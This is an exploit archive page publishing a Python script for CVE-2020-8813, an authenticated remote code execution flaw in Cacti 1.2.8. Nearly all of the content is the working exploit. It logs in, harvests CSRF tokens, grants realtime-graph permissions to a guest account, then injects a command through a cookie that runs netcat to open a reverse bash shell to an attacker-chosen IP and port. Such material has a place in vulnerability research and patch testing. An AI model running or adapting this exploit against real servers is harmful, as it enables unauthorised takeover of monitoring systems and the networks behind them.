what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Cacti 1.2.8 Authenticated Remote Code Execution

Cacti 1.2.8 Authenticated Remote Code Execution
Posted Feb 26, 2020
Authored by Askar

Cacti version 1.2.8 suffers from an authenticated remote code execution vulnerability.

tags | exploit, remote, code execution
advisories | CVE-2020-8813
SHA-256 | 56cc6422c5477bd9cb39748c97408cbda4d9c2b376cadcbfd9f1e8930b549790

Cacti 1.2.8 Authenticated Remote Code Execution

Change Mirror Download
#!/usr/bin/python3

# Exploit Title: Cacti v1.2.8 Remote Code Execution
# Date: 03/02/2020
# Exploit Author: Askar (@mohammadaskar2)
# CVE: CVE-2020-8813
# Vendor Homepage: https://cacti.net/
# Version: v1.2.8
# Tested on: CentOS 7.3 / PHP 7.1.33

import requests
import sys
import warnings
from bs4 import BeautifulSoup
from urllib.parse import quote

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')


if len(sys.argv) != 6:
print("[~] Usage : ./Cacti-exploit.py url username password ip port")
exit()

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
ip = sys.argv[4]
port = sys.argv[5]

def login(token):
login_info = {
"login_username": username,
"login_password": password,
"action": "login",
"__csrf_magic": token
}
login_request = request.post(url+"/index.php", login_info)
login_text = login_request.text
if "Invalid User Name/Password Please Retype" in login_text:
return False
else:
return True

def enable_guest(token):
request_info = {
"id": "3",
"section25": "on",
"section7": "on",
"tab": "realms",
"save_component_realm_perms": 1,
"action": "save",
"__csrf_magic": token
}
enable_request = request.post(url+"/user_admin.php?header=false", request_info)
if enable_request:
return True
else:
return False

def send_exploit():
payload = ";nc${IFS}-e${IFS}/bin/bash${IFS}%s${IFS}%s" % (ip, port)
cookies = {'Cacti': quote(payload)}
requests.get(url+"/graph_realtime.php?action=init", cookies=cookies)

request = requests.session()
print("[+]Retrieving login CSRF token")
page = request.get(url+"/index.php")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[0].get("value")
if token:
print("[+]Token Found : %s" % token)
print("[+]Sending creds ..")
login_status = login(token)
if login_status:
print("[+]Successfully LoggedIn")
print("[+]Retrieving CSRF token ..")
page = request.get(url+"/user_admin.php?action=user_edit&id=3&tab=realms")
html_content = page.text
soup = BeautifulSoup(html_content, "html5lib")
token = soup.findAll('input')[1].get("value")
if token:
print("[+]Making some noise ..")
guest_realtime = enable_guest(token)
if guest_realtime:
print("[+]Sending malicous request, check your nc ;)")
send_exploit()
else:
print("[-]Error while activating the malicous account")

else:
print("[-] Unable to retrieve CSRF token from admin page!")
exit()

else:
print("[-]Cannot Login!")
else:
print("[-] Unable to retrieve CSRF token!")
exit()
Login or Register to add favorites

File Archive:

October 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Oct 1st
    10 Files
  • 2
    Oct 2nd
    0 Files
  • 3
    Oct 3rd
    12 Files
  • 4
    Oct 4th
    15 Files
  • 5
    Oct 5th
    0 Files
  • 6
    Oct 6th
    0 Files
  • 7
    Oct 7th
    0 Files
  • 8
    Oct 8th
    0 Files
  • 9
    Oct 9th
    0 Files
  • 10
    Oct 10th
    0 Files
  • 11
    Oct 11th
    0 Files
  • 12
    Oct 12th
    0 Files
  • 13
    Oct 13th
    0 Files
  • 14
    Oct 14th
    0 Files
  • 15
    Oct 15th
    0 Files
  • 16
    Oct 16th
    0 Files
  • 17
    Oct 17th
    0 Files
  • 18
    Oct 18th
    0 Files
  • 19
    Oct 19th
    0 Files
  • 20
    Oct 20th
    0 Files
  • 21
    Oct 21st
    0 Files
  • 22
    Oct 22nd
    0 Files
  • 23
    Oct 23rd
    0 Files
  • 24
    Oct 24th
    0 Files
  • 25
    Oct 25th
    0 Files
  • 26
    Oct 26th
    0 Files
  • 27
    Oct 27th
    0 Files
  • 28
    Oct 28th
    0 Files
  • 29
    Oct 29th
    0 Files
  • 30
    Oct 30th
    0 Files
  • 31
    Oct 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close